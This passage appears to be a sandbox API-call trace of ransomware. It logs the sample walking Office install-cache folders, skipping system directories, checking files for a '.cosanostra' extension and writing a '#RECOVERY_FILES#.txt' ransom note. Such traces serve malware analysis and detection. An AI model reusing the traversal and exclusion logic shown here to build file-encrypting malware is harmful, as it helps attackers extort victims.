(lpString="System Volume Information") returned 25 [0079.020] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 81 [0079.020] StrStrIW (lpFirst="ProPlusrWW.msi", lpSrch=".cosanostra") returned 0x0 [0079.020] lstrcmpW (lpString1="ProPlusrWW.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.020] lstrcmpW (lpString1="ProPlusrWW.msi", lpString2="_uninstalling_.png") returned 1 [0079.020] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 81 [0079.020] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.020] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="Windows") returned -1 [0079.020] lstrlenW (lpString="Windows") returned 7 [0079.020] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="Program Files") returned 1 [0079.020] lstrlenW (lpString="Program Files") returned 13 [0079.020] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="Program Files (x86)") returned 1 [0079.020] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.020] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="$Recycle.bin") returned 1 [0079.020] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.020] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="System Volume Information") returned -1 [0079.020] lstrlenW (lpString="System Volume Information") returned 25 [0079.020] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 81 [0079.020] StrStrIW (lpFirst="ProPlusrWW.xml", lpSrch=".cosanostra") returned 0x0 [0079.020] lstrcmpW (lpString1="ProPlusrWW.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.020] lstrcmpW (lpString1="ProPlusrWW.xml", lpString2="_uninstalling_.png") returned 1 [0079.020] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 81 [0079.020] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.020] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="Windows") returned -1 [0079.020] lstrlenW (lpString="Windows") returned 7 [0079.020] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="Program Files") returned 1 [0079.020] lstrlenW (lpString="Program Files") returned 13 [0079.020] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="Program Files (x86)") returned 1 [0079.021] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.021] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="$Recycle.bin") returned 1 [0079.021] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.021] lstrcmpiW (lpString1="ProPrWW.cab", lpString2="System Volume Information") returned -1 [0079.021] lstrlenW (lpString="System Volume Information") returned 25 [0079.021] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 78 [0079.021] StrStrIW (lpFirst="ProPrWW.cab", lpSrch=".cosanostra") returned 0x0 [0079.021] lstrcmpW (lpString1="ProPrWW.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.021] lstrcmpW (lpString1="ProPrWW.cab", lpString2="_uninstalling_.png") returned 1 [0079.021] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 78 [0079.021] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.021] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="Windows") returned -1 [0079.021] lstrlenW (lpString="Windows") returned 7 [0079.021] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="Program Files") returned 1 [0079.021] lstrlenW (lpString="Program Files") returned 13 [0079.021] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="Program Files (x86)") returned 1 [0079.021] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.021] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="$Recycle.bin") returned 1 [0079.021] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.021] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="System Volume Information") returned -1 [0079.021] lstrlenW (lpString="System Volume Information") returned 25 [0079.021] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 79 [0079.021] StrStrIW (lpFirst="ProPrWW2.cab", lpSrch=".cosanostra") returned 0x0 [0079.021] lstrcmpW (lpString1="ProPrWW2.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.021] lstrcmpW (lpString1="ProPrWW2.cab", lpString2="_uninstalling_.png") returned 1 [0079.021] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 79 [0079.021] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.021] lstrcmpiW (lpString1="setup.exe", lpString2="Windows") returned -1 [0079.021] lstrlenW (lpString="Windows") returned 7 [0079.021] lstrcmpiW (lpString1="setup.exe", lpString2="Program Files") returned 1 [0079.021] lstrlenW (lpString="Program Files") returned 13 [0079.021] lstrcmpiW (lpString1="setup.exe", lpString2="Program Files (x86)") returned 1 [0079.021] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.021] lstrcmpiW (lpString1="setup.exe", lpString2="$Recycle.bin") returned 1 [0079.021] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.021] lstrcmpiW (lpString1="setup.exe", lpString2="System Volume Information") returned -1 [0079.022] lstrlenW (lpString="System Volume Information") returned 25 [0079.022] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76 [0079.022] StrStrIW (lpFirst="setup.exe", lpSrch=".cosanostra") returned 0x0 [0079.022] lstrcmpW (lpString1="setup.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.022] lstrcmpW (lpString1="setup.exe", lpString2="_uninstalling_.png") returned 1 [0079.022] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76 [0079.022] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.022] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0079.022] lstrlenW (lpString="Windows") returned 7 [0079.022] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0079.022] lstrlenW (lpString="Program Files") returned 13 [0079.022] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0079.022] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.022] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0079.022] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.022] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0079.022] lstrlenW (lpString="System Volume Information") returned 25 [0079.022] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0079.022] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0079.022] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.022] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0079.022] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0079.022] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.022] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0079.024] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0079.024] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0079.025] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.025] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0079.025] lstrlenW (lpString="Windows") returned 7 [0079.025] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0079.025] lstrlenW (lpString="Program Files") returned 13 [0079.025] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0079.025] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.025] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0079.025] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.025] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0079.025] lstrlenW (lpString="System Volume Information") returned 25 [0079.025] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned 66 [0079.025] lstrcmpW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0079.025] lstrcmpW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0079.025] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*") returned 68 [0079.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0079.157] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.157] lstrlenW (lpString="Windows") returned 7 [0079.157] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.157] lstrlenW (lpString="Program Files") returned 13 [0079.157] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.157] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.157] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.157] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.157] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.157] lstrlenW (lpString="System Volume Information") returned 25 [0079.157] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.") returned 68 [0079.157] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.157] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0079.157] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.157] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0079.158] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.") returned 68 [0079.158] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.158] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.158] lstrlenW (lpString="Windows") returned 7 [0079.158] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.158] lstrlenW (lpString="Program Files") returned 13 [0079.158] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.158] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.158] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.158] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.158] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.158] lstrlenW (lpString="System Volume Information") returned 25 [0079.159] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..") returned 69 [0079.159] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.159] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.159] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0079.159] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.159] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0079.159] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..") returned 69 [0079.159] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.159] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Windows") returned -1 [0079.159] lstrlenW (lpString="Windows") returned 7 [0079.159] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Program Files") returned -1 [0079.159] lstrlenW (lpString="Program Files") returned 13 [0079.159] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Program Files (x86)") returned -1 [0079.159] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.159] lstrcmpiW (lpString1="Office32WW.msi", lpString2="$Recycle.bin") returned 1 [0079.159] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.159] lstrcmpiW (lpString1="Office32WW.msi", lpString2="System Volume Information") returned -1 [0079.159] lstrlenW (lpString="System Volume Information") returned 25 [0079.159] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81 [0079.159] StrStrIW (lpFirst="Office32WW.msi", lpSrch=".cosanostra") returned 0x0 [0079.159] lstrcmpW (lpString1="Office32WW.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.159] lstrcmpW (lpString1="Office32WW.msi", lpString2="_uninstalling_.png") returned 1 [0079.159] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 81 [0079.159] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.159] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Windows") returned -1 [0079.159] lstrlenW (lpString="Windows") returned 7 [0079.159] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Program Files") returned -1 [0079.159] lstrlenW (lpString="Program Files") returned 13 [0079.159] lstrcmpiW (lpString1="Office32WW.xml", lpString2="Program Files (x86)") returned -1 [0079.159] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.159] lstrcmpiW (lpString1="Office32WW.xml", lpString2="$Recycle.bin") returned 1 [0079.160] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.160] lstrcmpiW (lpString1="Office32WW.xml", lpString2="System Volume Information") returned -1 [0079.160] lstrlenW (lpString="System Volume Information") returned 25 [0079.160] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81 [0079.160] StrStrIW (lpFirst="Office32WW.xml", lpSrch=".cosanostra") returned 0x0 [0079.160] lstrcmpW (lpString1="Office32WW.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.160] lstrcmpW (lpString1="Office32WW.xml", lpString2="_uninstalling_.png") returned 1 [0079.160] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81 [0079.160] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.160] lstrcmpiW (lpString1="ose.exe", lpString2="Windows") returned -1 [0079.160] lstrlenW (lpString="Windows") returned 7 [0079.160] lstrcmpiW (lpString1="ose.exe", lpString2="Program Files") returned -1 [0079.160] lstrlenW (lpString="Program Files") returned 13 [0079.160] lstrcmpiW (lpString1="ose.exe", lpString2="Program Files (x86)") returned -1 [0079.160] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.160] lstrcmpiW (lpString1="ose.exe", lpString2="$Recycle.bin") returned 1 [0079.160] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.160] lstrcmpiW (lpString1="ose.exe", lpString2="System Volume Information") returned -1 [0079.160] lstrlenW (lpString="System Volume Information") returned 25 [0079.160] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74 [0079.160] StrStrIW (lpFirst="ose.exe", lpSrch=".cosanostra") returned 0x0 [0079.160] lstrcmpW (lpString1="ose.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.160] lstrcmpW (lpString1="ose.exe", lpString2="_uninstalling_.png") returned 1 [0079.160] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74 [0079.161] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.161] lstrcmpiW (lpString1="osetup.dll", lpString2="Windows") returned -1 [0079.161] lstrlenW (lpString="Windows") returned 7 [0079.161] lstrcmpiW (lpString1="osetup.dll", lpString2="Program Files") returned -1 [0079.161] lstrlenW (lpString="Program Files") returned 13 [0079.161] lstrcmpiW (lpString1="osetup.dll", lpString2="Program Files (x86)") returned -1 [0079.161] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.161] lstrcmpiW (lpString1="osetup.dll", lpString2="$Recycle.bin") returned 1 [0079.161] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.161] lstrcmpiW (lpString1="osetup.dll", lpString2="System Volume Information") returned -1 [0079.161] lstrlenW (lpString="System Volume Information") returned 25 [0079.161] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77 [0079.161] StrStrIW (lpFirst="osetup.dll", lpSrch=".cosanostra") returned 0x0 [0079.161] lstrcmpW (lpString1="osetup.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.161] lstrcmpW (lpString1="osetup.dll", lpString2="_uninstalling_.png") returned 1 [0079.161] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77 [0079.162] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.162] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Windows") returned -1 [0079.162] lstrlenW (lpString="Windows") returned 7 [0079.162] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Program Files") returned -1 [0079.162] lstrlenW (lpString="Program Files") returned 13 [0079.162] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="Program Files (x86)") returned -1 [0079.162] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.162] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="$Recycle.bin") returned 1 [0079.162] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.162] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="System Volume Information") returned -1 [0079.162] lstrlenW (lpString="System Volume Information") returned 25 [0079.162] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79 [0079.162] StrStrIW (lpFirst="OWOW32WW.cab", lpSrch=".cosanostra") returned 0x0 [0079.162] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.162] lstrcmpW (lpString1="OWOW32WW.cab", lpString2="_uninstalling_.png") returned 1 [0079.162] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79 [0079.162] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.162] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Windows") returned -1 [0079.162] lstrlenW (lpString="Windows") returned 7 [0079.162] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Program Files") returned -1 [0079.162] lstrlenW (lpString="Program Files") returned 13 [0079.162] lstrcmpiW (lpString1="PidGenX.dll", lpString2="Program Files (x86)") returned -1 [0079.162] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.162] lstrcmpiW (lpString1="PidGenX.dll", lpString2="$Recycle.bin") returned 1 [0079.162] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.162] lstrcmpiW (lpString1="PidGenX.dll", lpString2="System Volume Information") returned -1 [0079.163] lstrlenW (lpString="System Volume Information") returned 25 [0079.163] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78 [0079.163] StrStrIW (lpFirst="PidGenX.dll", lpSrch=".cosanostra") returned 0x0 [0079.163] lstrcmpW (lpString1="PidGenX.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.163] lstrcmpW (lpString1="PidGenX.dll", lpString2="_uninstalling_.png") returned 1 [0079.163] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78 [0079.163] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.163] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Windows") returned -1 [0079.163] lstrlenW (lpString="Windows") returned 7 [0079.163] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Program Files") returned -1 [0079.163] lstrlenW (lpString="Program Files") returned 13 [0079.163] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="Program Files (x86)") returned -1 [0079.163] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.163] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="$Recycle.bin") returned 1 [0079.163] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.163] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="System Volume Information") returned -1 [0079.163] lstrlenW (lpString="System Volume Information") returned 25 [0079.163] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91 [0079.163] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".cosanostra") returned 0x0 [0079.163] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.163] lstrcmpW (lpString1="pkeyconfig-office.xrm-ms", lpString2="_uninstalling_.png") returned 1 [0079.163] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91 [0079.163] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.163] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="Windows") returned -1 [0079.163] lstrlenW (lpString="Windows") returned 7 [0079.163] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="Program Files") returned -1 [0079.163] lstrlenW (lpString="Program Files") returned 13 [0079.163] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="Program Files (x86)") returned -1 [0079.163] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.163] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="$Recycle.bin") returned 1 [0079.163] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.163] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="System Volume Information") returned -1 [0079.163] lstrlenW (lpString="System Volume Information") returned 25 [0079.163] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 80 [0079.164] StrStrIW (lpFirst="PrjProrWW.msi", lpSrch=".cosanostra") returned 0x0 [0079.164] lstrcmpW (lpString1="PrjProrWW.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.164] lstrcmpW (lpString1="PrjProrWW.msi", lpString2="_uninstalling_.png") returned 1 [0079.164] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 80 [0079.164] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.164] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="Windows") returned -1 [0079.164] lstrlenW (lpString="Windows") returned 7 [0079.164] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="Program Files") returned -1 [0079.164] lstrlenW (lpString="Program Files") returned 13 [0079.164] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="Program Files (x86)") returned -1 [0079.164] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.164] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="$Recycle.bin") returned 1 [0079.164] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.164] lstrcmpiW (lpString1="PrjProrWW.xml", lpString2="System Volume Information") returned -1 [0079.164] lstrlenW (lpString="System Volume Information") returned 25 [0079.164] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 80 [0079.164] StrStrIW (lpFirst="PrjProrWW.xml", lpSrch=".cosanostra") returned 0x0 [0079.164] lstrcmpW (lpString1="PrjProrWW.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.164] lstrcmpW (lpString1="PrjProrWW.xml", lpString2="_uninstalling_.png") returned 1 [0079.164] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 80 [0079.164] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.164] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="Windows") returned -1 [0079.164] lstrlenW (lpString="Windows") returned 7 [0079.164] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="Program Files") returned -1 [0079.164] lstrlenW (lpString="Program Files") returned 13 [0079.164] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="Program Files (x86)") returned -1 [0079.164] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.164] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="$Recycle.bin") returned 1 [0079.164] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.164] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="System Volume Information") returned -1 [0079.164] lstrlenW (lpString="System Volume Information") returned 25 [0079.164] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 79 [0079.164] 